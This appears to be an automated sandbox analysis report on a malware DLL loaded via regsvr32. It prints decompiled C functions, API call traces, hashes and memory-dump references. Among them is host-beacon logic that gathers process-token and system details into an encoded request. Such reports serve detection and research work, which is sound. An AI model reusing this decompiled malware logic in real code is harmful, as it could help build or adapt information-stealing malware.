			E01406840(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x0140684a
0x0140684e
0x01406863
0x01406865
0x0140686a
0x01406870
0x01406872
0x01406877
0x01406882
0x01406879
0x01406879
0x01406879
0x01406877
0x01406890

APIs

memset.NTDLL ref: 0140684E
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,751881D0), ref: 01406863
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 01406870
CloseHandle.KERNEL32(?), ref: 01406882

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 74ffb55b728cc870e6b88eb180e49e2254a9762bb3defc508ac1aa7f94708246
Instruction ID: 5446c7e16ef7646c86ddcaba5d5af4714db2ebcdba89c9bb6e1927e683bd753d
Opcode Fuzzy Hash: 74ffb55b728cc870e6b88eb180e49e2254a9762bb3defc508ac1aa7f94708246
Instruction Fuzzy Hash: 31F089F150530CBFD3216F67DCC4C27BBACEB62199B128A3EF14781161C671E9158B60

Uniqueness

Uniqueness Score: -1.00%

Function 01401B42, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01401B42() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x140d26c; // 0x1d8
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x140d2bc; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x140d26c; // 0x1d8
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x140d238; // 0x2110000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x01401b42
0x01401b49
0x01401b93
0x01401b95
0x01401b95
0x01401b4d
0x01401b53
0x01401b58
0x01401b5c
0x01401b62
0x01401b69
0x00000000
0x00000000
0x01401b6b
0x01401b70
0x00000000
0x00000000
0x00000000
0x01401b70
0x01401b72
0x01401b7a
0x01401b7d
0x01401b7d
0x01401b83
0x01401b8a
0x01401b8d
0x01401b8d
0x00000000

APIs

SetEvent.KERNEL32(000001D8,00000001,01404F0E), ref: 01401B4D
SleepEx.KERNEL32(00000064,00000001), ref: 01401B5C
CloseHandle.KERNEL32(000001D8), ref: 01401B7D
HeapDestroy.KERNEL32(02110000), ref: 01401B8D

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: b5d9b15cd1e77bfcb196f81dded0f4f5da7eb572af55d23fadb8aeefdc1f0d2b
Instruction ID: 6e763ffec79a5882d29389213e44eee556a92d688d292424c619223d783044fa
Opcode Fuzzy Hash: b5d9b15cd1e77bfcb196f81dded0f4f5da7eb572af55d23fadb8aeefdc1f0d2b
Instruction Fuzzy Hash: 89F012B1A0171197E7329BFBEA48F173BA8AB05B717044265B905D73F8DB30C444D760

Uniqueness

Uniqueness Score: -1.00%

Function 014023F4, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E014023F4(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x140d32c; // 0x25095b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x140d32c; // 0x25095b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x140d030) {
					HeapFree( *0x140d238, 0, _t8);
				}
				_t14[1] = E0140486F(_v0, _t14);
				_t11 =  *0x140d32c; // 0x25095b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x014023f4
0x014023f4
0x014023fd
0x0140240d
0x0140240d
0x01402412
0x01402417
0x00000000
0x00000000
0x01402407
0x01402407
0x01402419
0x0140241d
0x0140242f
0x0140242f
0x0140243f
0x01402442
0x01402447
0x0140244b
0x01402451

APIs

RtlEnterCriticalSection.NTDLL(02509570), ref: 014023FD
Sleep.KERNEL32(0000000A,?,01405D25), ref: 01402407
HeapFree.KERNEL32(00000000,00000000,?,01405D25), ref: 0140242F
RtlLeaveCriticalSection.NTDLL(02509570), ref: 0140244B

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 71f7943dcd856fa86cbbfefa09f91cc017622927a676d5bd76ca20990d489c42
Instruction ID: 68afdeed0be61c8b876cb8fb5f59dfca12fa353ea5ee8aaaa157fa683b880d23
Opcode Fuzzy Hash: 71f7943dcd856fa86cbbfefa09f91cc017622927a676d5bd76ca20990d489c42
Instruction Fuzzy Hash: 8FF03AB0A00141DBE723DFEBEA88F1A77F4AB19740B458425FA41C62F5C730D849CB15

Uniqueness

Uniqueness Score: -1.00%

Function 01406702, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E01406702() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x140d32c; // 0x25095b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x140d32c; // 0x25095b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x140d32c; // 0x25095b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x140e81a) {
					HeapFree( *0x140d238, 0, _t10);
					_t7 =  *0x140d32c; // 0x25095b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x01406702
0x0140670b
0x0140671b
0x0140671b
0x01406720
0x01406725
0x00000000
0x00000000
0x01406715
0x01406715
0x01406727
0x0140672c
0x01406730
0x01406743
0x01406749
0x01406749
0x01406752
0x01406754
0x01406758
0x0140675e

APIs

RtlEnterCriticalSection.NTDLL(02509570), ref: 0140670B
Sleep.KERNEL32(0000000A,?,01405D25), ref: 01406715
HeapFree.KERNEL32(00000000,?,?,01405D25), ref: 01406743
RtlLeaveCriticalSection.NTDLL(02509570), ref: 01406758

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 05930e99622be3cdbf55dd1b92c94dc48d28f6d9070ec32a6a407d7eb10f2122
Instruction ID: 5a78b18d5de884f10f7e52f761d76c0e564d400c71a6e8bccdf746ed1941a806
Opcode Fuzzy Hash: 05930e99622be3cdbf55dd1b92c94dc48d28f6d9070ec32a6a407d7eb10f2122
Instruction Fuzzy Hash: 48F0DAB4A00100DBE72BCFEBDA99F2A77E5AB49710B05815AF902DB3B4D730A814CF11

Uniqueness

Uniqueness Score: -1.00%

Function 01405AF1, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01405AF1(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E0140A71F(_t2);
				if(_t34 != 0) {
					_t30 = E0140A71F(_t28);
					if(_t30 == 0) {
						E0140A734(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0140A782(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0140A782(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x01405af1
0x01405afb
0x01405afd
0x01405b03
0x01405b03
0x01405b0c
0x01405b10
0x01405b1c
0x01405b20
0x01405b94
0x01405b22
0x01405b22
0x01405b26
0x01405b2b
0x01405b30
0x01405b4a
0x01405b39
0x01405b39
0x01405b3d
0x01405b40
0x01405b45
0x01405b45
0x01405b4f
0x01405b77
0x01405b7d
0x01405b80
0x01405b51
0x01405b53
0x01405b5b
0x01405b66
0x01405b6b
0x01405b6b
0x01405b87
0x01405b8e
0x01405b8f
0x01405b8f
0x01405b20
0x01405b9f

APIs

lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,01403E08,?,?,?,?,00000102,014067B8,?,?,00000000), ref: 01405AFD

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

Part of subcall function 0140A782: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,01405B2B,00000000,00000001,00000001,?,?,01403E08,?,?,?,?,00000102), ref: 0140A790
Part of subcall function 0140A782: StrChrA.SHLWAPI(?,0000003F,?,?,01403E08,?,?,?,?,00000102,014067B8,?,?,00000000,00000000), ref: 0140A79A

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,01403E08,?,?,?,?,00000102,014067B8,?), ref: 01405B5B
lstrcpy.KERNEL32(00000000,00000000), ref: 01405B6B
lstrcpy.KERNEL32(00000000,00000000), ref: 01405B77

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 999cbc8223d2411e7e6f9fb0384e2541897226c5dcf043a8c3e3c54bd674cbbd
Instruction ID: d94e6e14a6594f26dd8e54ee43a3b5d6483087dccc89d0a5032ca2e2170c1b68
Opcode Fuzzy Hash: 999cbc8223d2411e7e6f9fb0384e2541897226c5dcf043a8c3e3c54bd674cbbd
Instruction Fuzzy Hash: 1921C376504616EBCB136F6AC884E9B7FF9EF16280B14816AF9059F261D630D901CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 014045C6, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E014045C6(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E0140A71F(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x014045db
0x014045df
0x014045e9
0x014045ee
0x014045f3
0x014045f5
0x014045fd
0x01404602
0x01404610
0x01404615
0x0140461f

APIs

lstrlenW.KERNEL32(004F0053,?,75145520,00000008,0250935C,?,01408D93,004F0053,0250935C,?,?,?,?,?,?,0140523E), ref: 014045D6
lstrlenW.KERNEL32(01408D93,?,01408D93,004F0053,0250935C,?,?,?,?,?,?,0140523E), ref: 014045DD

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,01408D93,004F0053,0250935C,?,?,?,?,?,?,0140523E), ref: 014045FD
memcpy.NTDLL(751469A0,01408D93,00000002,00000000,004F0053,751469A0,?,?,01408D93,004F0053,0250935C), ref: 01404610

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 9cbc33e37d1e93e9fa56b1018e1d2a4f4ea8c26b27cc84e76381c88f3357073f
Instruction ID: 641b44612967ef2e7ee934838ae4f422d0d158dd6192d4aef308b3889c9493c8
Opcode Fuzzy Hash: 9cbc33e37d1e93e9fa56b1018e1d2a4f4ea8c26b27cc84e76381c88f3357073f
Instruction Fuzzy Hash: 91F04F76900119FBDF12EFAACC84C8F7BACEF592547154067EA04D7251E631EA148BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0140361A, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(02509A78,00000000,00000000,74ECC740,014020ED,00000000), ref: 0140362A
lstrlen.KERNEL32(?), ref: 01403632

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

lstrcpy.KERNEL32(00000000,02509A78), ref: 01403646
lstrcat.KERNEL32(00000000,?), ref: 01403651

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: c14a454bfb513187b8e34a893082bc994a5218fcb4e5c2aaecd1b892627bc47a
Instruction ID: 191e507a3bc2255ed8b2cb14f42c47adc784f55f93e3f59c62999287a23c7ded
Opcode Fuzzy Hash: c14a454bfb513187b8e34a893082bc994a5218fcb4e5c2aaecd1b892627bc47a
Instruction Fuzzy Hash: 05E09B73901221974723ABEA5D48C5BBBADEF9A6517040567F701D3124C731C805C7E1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exe PID: 5288 Parent PID: 5292 regsvr32.exeCOMMON

Executed Functions

Function 00F05A27, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00F05A27(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E00F0A71F(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E00F0A734(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x00f05a34
0x00f05a35
0x00f05a36
0x00f05a37
0x00f05a38
0x00f05a3c
0x00f05a43
0x00f05a52
0x00f05a55
0x00f05a58
0x00f05a5f
0x00f05a62
0x00f05a65
0x00f05a68
0x00f05a6b
0x00f05a76
0x00f05a78
0x00f05a81
0x00f05a89
0x00f05a8b
0x00f05a9d
0x00f05aa7
0x00f05aab
0x00f05aba
0x00f05abe
0x00f05ac7
0x00f05acf
0x00f05acf
0x00f05ad1
0x00f05ad1
0x00f05ad9
0x00f05adf
0x00f05ae3
0x00f05ae3
0x00f05aee

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 00F05A6E
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00F05A81
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00F05A9D

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 00F05ABA
memcpy.NTDLL(00000000,00000000,0000001C), ref: 00F05AC7
NtClose.NTDLL(?), ref: 00F05AD9
NtClose.NTDLL(00000000), ref: 00F05AE3

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: cd0f3f97a6a3c28f0095c721a3cf816027c089b09931a9b5a5592b83c48e2847
Instruction ID: 72d3a15b258f9bdcd263781a242964f04f3150d9c5bb734131b25f6ce7656ca6
Opcode Fuzzy Hash: cd0f3f97a6a3c28f0095c721a3cf816027c089b09931a9b5a5592b83c48e2847
Instruction Fuzzy Hash: 0721B672A00218EBDB01AF95CC85ADEBFBDFB08B50F108116F505E6160D7B59A55EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F04AB6, Relevance: 33.2, APIs: 22, Instructions: 244
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F04AB6(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t100;
				signed int _t104;
				char** _t106;
				int _t109;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				intOrPtr _t126;
				int _t130;
				CHAR* _t132;
				intOrPtr _t133;
				void* _t134;
				void* _t143;
				int _t144;
				void* _t145;
				intOrPtr _t146;
				void* _t148;
				long _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t143 = __edx;
				_t134 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0xf0d018; // 0xb20846e7
				asm("bswap eax");
				_t61 =  *0xf0d014; // 0x3a87c8cd
				_t132 = _a16;
				asm("bswap eax");
				_t62 =  *0xf0d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0xf0d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t64 =  *0xf0d2a8; // 0x436a5a8
				_t3 = _t64 + 0xf0e633; // 0x74666f73
				_t144 = wsprintfA(_t132, _t3, 3, 0x3d15e, _t63, _t62, _t61, _t60,  *0xf0d02c,  *0xf0d004, _t59);
				_t67 = E00F056CD();
				_t68 =  *0xf0d2a8; // 0x436a5a8
				_t4 = _t68 + 0xf0e673; // 0x74707526
				_t71 = wsprintfA(_t144 + _t132, _t4, _t67);
				_t160 = _t158 + 0x38;
				_t145 = _t144 + _t71; // executed
				_t72 = E00F058DB(_t134); // executed
				_t133 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t126 =  *0xf0d2a8; // 0x436a5a8
					_t7 = _t126 + 0xf0e8d4; // 0x736e6426
					_t130 = wsprintfA(_a16 + _t145, _t7, _t72);
					_t160 = _t160 + 0xc;
					_t145 = _t145 + _t130;
					HeapFree( *0xf0d238, 0, _v8);
				}
				_t73 = E00F0A199();
				_v8 = _t73;
				if(_t73 != 0) {
					_t121 =  *0xf0d2a8; // 0x436a5a8
					_t11 = _t121 + 0xf0e8dc; // 0x6f687726
					wsprintfA(_t145 + _a16, _t11, _t73);
					_t160 = _t160 + 0xc;
					HeapFree( *0xf0d238, 0, _v8);
				}
				_t146 =  *0xf0d32c; // 0x52795b0
				_t75 = E00F04622(0xf0d00a, _t146 + 4);
				_t152 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0xf0d238, _t152, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0xf0d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0xf0d238, _t152, _v20);
						goto L26;
					}
					E00F0518F(GetTickCount());
					_t82 =  *0xf0d32c; // 0x52795b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0xf0d32c; // 0x52795b0
					__imp__(_t86 + 0x40);
					_t88 =  *0xf0d32c; // 0x52795b0
					_t148 = E00F01BB6(1, _t143, _a16,  *_t88);
					_v28 = _t148;
					asm("lock xadd [eax], ecx");
					if(_t148 == 0) {
						L24:
						RtlFreeHeap( *0xf0d238, _t152, _v8); // executed
						goto L25;
					}
					StrTrimA(_t148, 0xf0c28c);
					_push(_t148);
					_t94 = E00F0361A();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0xf0d238, _t152, _t148);
						goto L24;
					}
					_t153 = __imp__;
					 *_t153(_t148, _a4);
					 *_t153(_v8, _v20);
					_t154 = __imp__;
					 *_t154(_v8, _v16);
					_t100 = E00F09070( *_t154(_v8, _t148), _v8);
					_a4 = _t100;
					if(_t100 == 0) {
						_v12 = 8;
						L21:
						E00F06761();
						L22:
						HeapFree( *0xf0d238, 0, _v16);
						_t152 = 0;
						goto L23;
					}
					_t104 = E00F069B4(_t133, 0xffffffffffffffff, _t148,  &_v24); // executed
					_v12 = _t104;
					if(_t104 == 0) {
						_t157 = _v24;
						_t111 = E00F0391F(_t157, _a4, _a8, _a12); // executed
						_v12 = _t111;
						_t112 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t112 + 0x80))(_t112);
						_t114 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t114 + 8))(_t114);
						_t116 =  *((intOrPtr*)(_t157 + 4));
						 *((intOrPtr*)( *_t116 + 8))(_t116);
						_t118 =  *_t157;
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						E00F0A734(_t157);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t106 = _a8;
							if(_t106 != 0) {
								_t149 =  *_t106;
								_t155 =  *_a12;
								wcstombs( *_t106,  *_t106,  *_a12);
								_t109 = E00F05800(_t149, _t149, _t155 >> 1);
								_t148 = _v28;
								 *_a12 = _t109;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E00F0A734(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x00f04ab6
0x00f04ab6
0x00f04ab6
0x00f04abf
0x00f04ac8
0x00f04aca
0x00f04aca
0x00f04ad7
0x00f04ae2
0x00f04ae5
0x00f04aea
0x00f04af3
0x00f04af6
0x00f04afb
0x00f04afe
0x00f04b03
0x00f04b06
0x00f04b12
0x00f04b1f
0x00f04b21
0x00f04b27
0x00f04b2c
0x00f04b37
0x00f04b39
0x00f04b3c
0x00f04b3e
0x00f04b43
0x00f04b49
0x00f04b4e
0x00f04b51
0x00f04b56
0x00f04b63
0x00f04b65
0x00f04b6b
0x00f04b75
0x00f04b75
0x00f04b77
0x00f04b7c
0x00f04b81
0x00f04b84
0x00f04b89
0x00f04b96
0x00f04b98
0x00f04ba6
0x00f04ba6
0x00f04ba8
0x00f04bb6
0x00f04bbb
0x00f04bbd
0x00f04bc2
0x00f04d83
0x00f04d8d
0x00f04d96
0x00f04bc8
0x00f04bd4
0x00f04bda
0x00f04bdf
0x00f04d77
0x00f04d81
0x00000000
0x00f04d81
0x00f04beb
0x00f04bf0
0x00f04bf9
0x00f04c0a
0x00f04c0e
0x00f04c17
0x00f04c1d
0x00f04c2c
0x00f04c33
0x00f04c3c
0x00f04c42
0x00f04d6b
0x00f04d75
0x00000000
0x00f04d75
0x00f04c4e
0x00f04c54
0x00f04c55
0x00f04c5a
0x00f04c5f
0x00f04d61
0x00f04d69
0x00000000
0x00f04d69
0x00f04c68
0x00f04c6f
0x00f04c77
0x00f04c7c
0x00f04c85
0x00f04c90
0x00f04c95
0x00f04c9a
0x00f04d99
0x00f04d4d
0x00f04d4d
0x00f04d52
0x00f04d5d
0x00f04d5f
0x00000000
0x00f04d5f
0x00f04ca4
0x00f04ca9
0x00f04cae
0x00f04cb3
0x00f04cbe
0x00f04cc3
0x00f04cc6
0x00f04ccc
0x00f04cd2
0x00f04cd8
0x00f04cdb
0x00f04ce1
0x00f04ce4
0x00f04ce9
0x00f04ced
0x00f04ced
0x00f04cf9
0x00f04d05
0x00f04d09
0x00f04d0b
0x00f04d10
0x00f04d12
0x00f04d17
0x00f04d1c
0x00f04d29
0x00f04d31
0x00f04d34
0x00f04d34
0x00f04d10
0x00000000
0x00f04cfb
0x00f04cff
0x00f04d36
0x00f04d39
0x00f04d42
0x00000000
0x00000000
0x00000000
0x00000000
0x00f04d42
0x00f04d01
0x00000000
0x00f04d01
0x00f04cf9

APIs

GetTickCount.KERNEL32 ref: 00F04ACA
wsprintfA.USER32 ref: 00F04B1A
wsprintfA.USER32 ref: 00F04B37
wsprintfA.USER32 ref: 00F04B63
HeapFree.KERNEL32(00000000,?), ref: 00F04B75
wsprintfA.USER32 ref: 00F04B96
HeapFree.KERNEL32(00000000,?), ref: 00F04BA6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00F04BD4
GetTickCount.KERNEL32 ref: 00F04BE5
RtlEnterCriticalSection.NTDLL(05279570), ref: 00F04BF9
RtlLeaveCriticalSection.NTDLL(05279570), ref: 00F04C17

